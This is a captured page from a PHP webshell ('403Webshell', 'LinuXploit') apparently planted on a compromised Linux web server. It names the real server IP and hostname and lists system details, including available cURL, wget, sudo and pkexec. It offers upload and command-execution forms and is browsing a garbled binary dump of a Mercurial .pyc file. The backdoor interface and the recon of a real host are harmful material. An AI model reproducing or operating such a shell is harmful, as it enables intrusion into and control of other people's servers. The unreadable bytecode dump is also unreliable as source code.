403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/mercurial/__pycache__/wireprotoserver.cpython-39.opt-1.pyc
a

�+�b�E�@s(ddlmZddlZddlZddlZddlmZddlmZm	Z	m
Z
mZmZm
Z
ddlmZddlmZmZejZejZejZdZd	Zd
ZdZejZdd
�Ze�ej�Gdd�de��Zdd�Z dd�Z!dd�Z"dd�Z#dd�Z$dd�Z%dd�Z&e�ej�Gdd�de��Z'd d!�Z(Gd"d#�d#e�Z)dS)$�)�absolute_importN�)�_)�encoding�error�pycompat�util�wireprototypes�wireprotov1server)r)�compression�
stringutil��sapplication/mercurial-0.1sapplication/mercurial-0.2sapplication/hg-errorcCsJg}d}|j�d||f�}|dur&q@|�t�|��|d7}qd�|�S)zjDecode a long value from multiple HTTP request headers.

    Returns the value as a bytes, not a str.
    rs%s-%dN�)�headers�get�appendrZbytesurl�join)�reqZheaderprefix�chunks�i�v�r�?/usr/lib64/python3.9/site-packages/mercurial/wireprotoserver.py�decodevaluefromheaders*s
rc@sfeZdZdd�Zedd��Zdd�Zdd�Zd	d
�Zdd�Z	e
jd
d��Zdd�Z
dd�Zdd�ZdS)�httpv1protocolhandlercCs||_||_||_d|_dS�N)�_req�_ui�
_checkperm�
_protocaps)�selfr�ui�	checkpermrrr�__init__=szhttpv1protocolhandler.__init__cCsdS)Nshttp-v1r�r rrr�nameCszhttpv1protocolhandler.namecs�|��}i�|��}|D]X}|dkr`i}|��D]$}|dkr0||vr0||d||<q0|�d<q||d�|<q�fdd�|D�S)N�*�cmdrcsg|]}�|�qSrr��.0�k��datarr�
<listcomp>Trz1httpv1protocolhandler.getargs.<locals>.<listcomp>)�_args�split�keys)r �argsZ	knownargsr0r*�star�keyrr+r�getargsGs
zhttpv1protocolhandler.getargscCsj|jj��}t|jj�dd��}|rF|�tj|jj	�
|�dd��|St|jd�}|�tj|dd��|S)N�
X-HgArgs-PostrT)�keep_blank_valuessX-HgArg)r�qsparamsZ
asdictoflists�intrr�update�urlreqZparseqs�bodyfh�readr)r r1ZpostlenZargvaluerrrr.Vs��zhttpv1protocolhandler._argscCs,|jdur&t|jd�}t|�d��|_|jS)Ns	X-HgProto� )rrr�setr/)r �valuerrr�getprotocapses
z"httpv1protocolhandler.getprotocapscCs:t|jjd�}|t|jj�dd��8}tj|jj|d�S)NsContent-Lengthr5r)�limit)r8rrrrZ
filechunkiterr;)r �lengthrrr�
getpayloadksz httpv1protocolhandler.getpayloadccsZ|jj}|jj}t��}z*||j_||j_|VW||j_||j_n||j_||j_0dSr)r�fout�ferrr�stringio)r ZoldoutZolderr�outrrr�mayberedirectstdiots
�z(httpv1protocolhandler.mayberedirectstdiocCs.d|jjt�|jjpd�t�|jjp&d�fS)Nsremote:%s:%s:%sr)rZ	urlschemer:�quoteZ
remotehostZ
remoteuserr$rrr�client�s
�zhttpv1protocolhandler.clientcCs~|�d�|�d|j�dd��|j�dd�r:|�d�|�d�t�|jtj�}|rzd�d	d
�|D��}|�d|�|S)N�batchs
httpheader=%d�serversmaxhttpheaderlensexperimentalshttppostargsshttpmediatype=0.1rx,0.1tx,0.2tx�,css|]}t�|��j�VqdSr)r:rI�wireprotosupportr%)r)�errr�	<genexpr>�sz8httpv1protocolhandler.addcapabilities.<locals>.<genexpr>scompression=%s)	rr!�	configintZ
configboolr	�supportedcompenginesr�
SERVERROLEr)r �repo�caps�compenginesZ	comptypesrrr�addcapabilities�s 
�

�
�z%httpv1protocolhandler.addcapabilitiescCs
|�|�Sr)r�r �permrrrr"�szhttpv1protocolhandler.checkpermN)�__name__�
__module__�__qualname__r#�propertyr%r4r.r@rC�
contextlib�contextmanagerrHrJrWr"rrrrr;s
	
rcCs
|tjvSr)r
�commands)�cmdrrr�iscmd�srbc
sddlm}�j}d�jvr dS�jd}t|�s6dS�jrd|�d�|_t|j	d<|�
dd�d	St�|j���fd
d��}zt
|�|||�Wnj|jy�}zP|j	D]\}	}
|
|j	|	<q�|�|jt�|��|_|�
dt�|��WYd}~n
d}~00d	S)
a�Possibly process a wire protocol request.

    If the current request is a wire protocol request, the request is
    processed by this function.

    ``req`` is a ``parsedrequest`` instance.
    ``res`` is a ``wsgiresponse`` instance.

    Returns a bool indicating if the request was serviced. If set, the caller
    should stop processing the request, as a response has already been issued.
    r��commonr'Fi��Content-Type�0
%s
s	Not FoundTcs���|�Srr)rY�r"�rctxrrr�<lambda>�rz#handlewsgirequest.<locals>.<lambda>N)�hgwebrdrTr7rbZdispatchpath�
statusmessage�status�HGTYPEr�setbodybytesrr!�	_callhttpZ
ErrorResponse�coderZforcebytestr)rhr�resr"�hgwebcommonrTra�protorOr*rrrgr�handlewsgirequest�s2


	
��*rtcCs�d|��vr�|rtt��ifSt�|�}t�|tj�D]H}|�	�j
|vr6i}|�dd|�
��}|durp||d<t||fSq6d|�dd�i}tt
jd|fS)z�Determine the appropriate response type and compression settings.

    Returns a tuple of (mediatype, compengine, engineopts).
    s0.2rLs%slevelNslevels	zliblevelszlib)r@�HGTYPE2rZ_noopenginer
Zclientcompressionsupportr	rRrSrNr%rQrmrrV)r!rs�prefer_uncompressedZcompformats�engineZopts�levelrrr�_httpresponsetype�s
�rycs�ddlm�dd�}d��fdd�	}tj�||�sF|tttd��dS|�tj|j	�t�
|||�}t|t�r�|tt
|d��n"t|tj�r�|tt
|jd��nt|tj�r�|tt
|jd	�n�t|tj��r|j}t|j||j�\}	}
}|
�||�}|	tk�r|||
|�}|t|	|d	�n�t|tj��rJd
|j|jf}|tt
|d�nZt|tj��rxd|j}d�_|tt
|d�n,t|tj��r�|tt|jd�nt �!d
|��dS)Nrrccss6|��j}t�dt|��V|V|D]
}|Vq&dS)N�B)rNr%�struct�pack�len)�genrw�
engineoptsr%�chunkrrr�genversion2s

z_callhttp.<locals>.genversion2csN|tkrd�_n��|��_|�jd<|dur8��|�|durJ��|�dS)Ns200 Script output followsre)�HTTP_OKrlrkrrnZ
setbodygen)rpZcontenttype�	bodybytes�bodygen�rrrqrr�setresponse's

z_callhttp.<locals>.setresponses:requested wire protocol command is not available over HTTP)r�)r�s%d
%srfTshgweb.protocol internal failure)NN)"rjrdr
r`�commandavailabler��	HGERRTYPErr"Z
permission�dispatch�
isinstance�bytesrmr	�
bytesresponser,�streamreslegacyr~�	streamresryr!rvZcompressstreamru�pushresrq�output�pusherrZdrain�ooberror�messager�ProgrammingError)rTrrqrsrar�r��rspr~Z	mediatyperwrrr�rrosN
��

�


rocCs(|�dt|��|�|�|��dS)z-Send a bytes response for protocol version 1.s%d
N)�writer}�flush)rDr?rrr�_sshv1respondbytesds
r�cCs&|j}|jD]}||�q|��dSr)r�r~r�)rD�sourcer�r�rrr�_sshv1respondstreamks

r�cCs,|�d|�|��|�d�|��dS)Ns%s
-
�
)r�r�)rDrEr�rrr�_sshv1respondooberrorrs
r�c@sbeZdZdZdd�Zedd��Zdd�Zdd	�Zd
d�Z	e
jdd
��Zdd�Z
dd�Zdd�ZdS)�sshv1protocolhandlerz<Handler for requests services via version 1 of SSH protocol.cCs||_||_||_t�|_dSr)r�_fin�_foutr>r)r r!�finrDrrrr#}szsshv1protocolhandler.__init__cCstjSr)r	�SSHV1r$rrrr%�szsshv1protocolhandler.namec
s�i�|��}t�t|��D]�}|j��dd�}|��\}}||vrVt�td�|��|dkr�i}t�t	|��D]:}|j��dd�}|��\}}|j�
t	|��}	|	||<qp|�d<q|j�
t	|��}	|	�|<q�fdd�|D�S)N���sunexpected parameter %rr&csg|]}�|�qSrrr(r+rrr-�rz0sshv1protocolhandler.getargs.<locals>.<listcomp>)r/rZxranger}r��readlinerZAbortrr8r<)
r r1r0�nZargline�arg�lr2r*�valrr+rr4�s$


zsshv1protocolhandler.getargscCs|jSr)rr$rrrr@�sz!sshv1protocolhandler.getprotocapsccs@t|jd�t|j���}|r<|j�|�Vt|j���}qdS)Nr)r�r�r8r�r�r<)r �countrrrrC�s
zsshv1protocolhandler.getpayloadccs
dVdSrrr$rrrrH�sz'sshv1protocolhandler.mayberedirectstdiocCs"tj�dd��dd�d}d|S)Ns
SSH_CLIENTrr=rrsremote:ssh:)r�environrr/)r rJrrrrJ�szsshv1protocolhandler.clientcCs$|jtjkr|�d�|�d�|S)Ns	protocapsrK)r%r	r�r)r rTrUrrrrW�s

z$sshv1protocolhandler.addcapabilitiescCsdSrrrXrrrr"�szsshv1protocolhandler.checkpermN)rZr[r\�__doc__r#r]r%r4r@rCr^r_rHrJrWr"rrrrr�ys

r�c
Cs|d}t|||�}|���sx|dk�rX|��dd�}|s>d}qtj�||�}|s\t|d�qt�|||�}	|jj	�
�|jj�
�t|	t
�r�t||	�n�t|	tj�r�t||	j�n�t|	tj�r�t||	�n�t|	tj�r�t||	�ntt|	tj��rt|d�t|d|	j�nJt|	tj��r(t||	j�n.t|	tj��rHt||j|	j�nt�d|	��q|dk�rh�qxqt�d|��qdS)Nsprotov1-servingr�sshutdownrs%ds6unhandled response type from wire protocol command: %ssunhandled ssh server state: %s)r��is_setr�r
r`r�r�r�r!rDr�rEr�r�r	r�r,r�r�r�r�rqr�r�r�r�rr�)
r!rTr�rD�ev�statersZrequestZ	availabler�rrr�
_runsshserver�sT

�


��
�r�c@s&eZdZddd�Zdd�Zdd�ZdS)	�	sshserverNcCsP||_||_|��\|_|_|rLtj||jddd�|_tj||jddd�|_dS)N�oT)Zlogdata�e)r�_repoZ
protectfinoutr�r�rZmakeloggingfileobjectrE)r r!rTZlogfhrrrr#
s
�
�zsshserver.__init__cCs$|�t���|j�|j|j�dSr)�
serveuntil�	threading�EventrZ
restorefinoutr�r�r$rrr�
serve_foreverszsshserver.serve_forevercCst|j|j|j|j|�dS)z%Serve until a threading.Event is set.N)r�rr�r�r�)r r�rrrr�szsshserver.serveuntil)N)rZr[r\r#r�r�rrrrr�s
r�)*Z
__future__rr^r{r�Zi18nr�rrrrr	r
Z
interfacesZ
interfaceutilZutilsrrrFZurlerrr:r�rmrur�r�rZimplementerZbaseprotocolhandler�objectrrbrtryror�r�r�r�r�r�rrrr�<module>s: 
nF$L
GK

Youez - 2016 - github.com/yon3zu
LinuXploit